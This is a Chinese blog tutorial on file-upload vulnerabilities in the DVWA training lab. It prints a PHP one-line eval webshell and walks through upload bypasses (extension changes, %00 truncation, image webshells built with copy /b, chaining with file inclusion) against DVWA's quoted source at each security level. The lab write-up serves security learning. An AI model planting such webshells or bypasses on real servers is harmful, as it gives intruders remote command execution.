文件上传漏洞(2)-----DVWA的学习

一,文件上传漏洞

(1)原理

在互联网经常存在文件上传的功能。

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得执行服务器命令的能力。

  • 上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行,而容器搭建在操作系统上。故而可以达到执行系统命令的目的。

(2)完成webshell的条件

  • 上传的文件能够被容器解释执行
  • 用户能够访问这个文件(要知道路径)
  • 如果上传的文件被安全检查,格式化,图片压缩等功能处理改变了内容,不能完成

(3)webshell

以asp,php,jsp等文件形式存在的命令执行环境,也可以称为一种网页后门

  • 方便站长管理
  • 入侵者利用,从而控制服务器

二,一句话木马

<?php  @eval($_Post['cmd']); ?>

eval()函数

  • 把字符串按照php代码计算处理
  • 该字符串必须为合法的php代码,以分号结尾

$_Post[cmd]

  • $_Post是php中的超全局变量的一种,用来服务器接收会话中post方法传递的内容
  • cmd为索引内容。【可以理解为字典里的key】

@

  • 是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。想想看,你的文件路径要是完全暴露给黑客,他们该有多开心,因此,在一些敏感的文件输出的位置,还是记得加上 @ 符号!

【原理】

  • Web脚本语言在中间件容器(apache等)上解释执行,而中间件又安装在操作系统上,向上传文件发送post请求,通过控制cmd参数来执行不同的命令故而可以通过php脚本控制操作系统!!

三,DVWA文件上传

(1)low安全级别

【源码分析】

<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?> 

basename(path,suffix)函数

  • 作用:返回路径中文件名的部分
  • path不能缺省
  • suffix为可选参数,规定文件的扩展名,如果文件有扩展名,不会输出这个扩展名

move_uploaded_file(file,newloc)

  • file,规定要移动的文件,newloc,规定文件的新位置。成功返回True。

服务器对用户上传的文件没有做出任何的筛选和检测

【攻击开始】
上传脚本文件
在这里插入图片描述

在这里插入图片描述

在中国菜刀添加

在这里插入图片描述

连接成功可以打开模拟终端等
在这里插入图片描述

在这里插入图片描述

(2)media安全级别

【源码】


<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // File information 
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 

    // Is it an image? 
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 
        ( $uploaded_size < 100000 ) ) { 

        // Can we move the file to the upload folder? 
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
            // No 
            echo '<pre>Your image was not uploaded.</pre>'; 
        } 
        else { 
            // Yes! 
            echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
        } 
    } 
    else { 
        // Invalid file 
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
    } 
} 

?> 

限制了文件类型必须是jpeg或者或者png(劳资可以改后缀);
限制了文件大小必须100000字节

F12看JS的前端检测

WAY1. 使用burpsuite抓包改包

在这里插入图片描述
更改后缀名,上传文件后,在服务器上识别为php文件
在这里插入图片描述

使用菜刀连接
在这里插入图片描述


WAY2. %00字符截断

在针对上传的文件检测的时候,很多应用都是通过判断文件名的后缀的方法来检测文件的安全性。但是如果攻击者在上传的post的包上的文件名后添加了一个%00字节,可以截断某些函数对文件名的判断,达到绕过的目的

%00是函数在对字符串处理的终止符

在web应用只允许上传png的前提下

  • 构造XXX.php%00.png 的文件名
  • .png 绕过了应用上传文件的判断
  • 在服务器端,因为%00字符截断的原因,最终为XXX.php

仅限于PHP版本小于5.3.4的版本


WAY3. 系统本身存在解析漏洞+图片马

有的系统会将带有木马文件的图片解析为PHP文件执行

制作图片一句话马

条件:
Apache 的 conf 里添加一行配置 AddType application/x-httpd-php .png

①首先有两个文件一个图片一个一句话马

  • 在这里插入图片描述

②使用DOS命令copy将图片和php文件结合
copy source.jpg/b+chopper.php target.jpg

  • 在这里插入图片描述

③生成tpyjh.png

上传图片一句话连接shell
在这里插入图片描述

  • 在这里插入图片描述

getshell

  • 在这里插入图片描述

WAY4. 结合文件包含漏洞

①上传后缀为.png的马绕过后端检测

  • 在这里插入图片描述

②结合文件包含
http://192.168.44.131/dvwa/vulnerabilities/fi/?page=..\..\hackable/uploads/yjh.png
③用菜刀连接

(3)high安全等级

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?        ????设置后缀白名单
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {
	      ???检测为是否是图片
	      

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?> 

High安全等级采用白名单过滤,只允许上传的文件后缀名为jpg、jpeg、png且文件大小小于100000字节。High安全等级仍然采用白名单过滤,只允许上传的文件后缀名为jpg、jpeg、png且文件大小小于100000字节。

上传图片马即可

(4)impossibe等级

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

Impossible级别的代码对上传的文件进行了重命名(MD5值,导致%00截断无法绕过过滤规则)
.
加入Anti-CSRF token防护CSRF攻击,同时对文件的内容的内容进行了严格的检。


先在目标Apache 的 conf 里添加一行配置 AddType application/x-httpd-php .png

上传图片木马
在这里插入图片描述
不会显示文件的路径
在这里插入图片描述

发布了49 篇原创文章 · 获赞 33 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/Z_Grant/article/details/100188558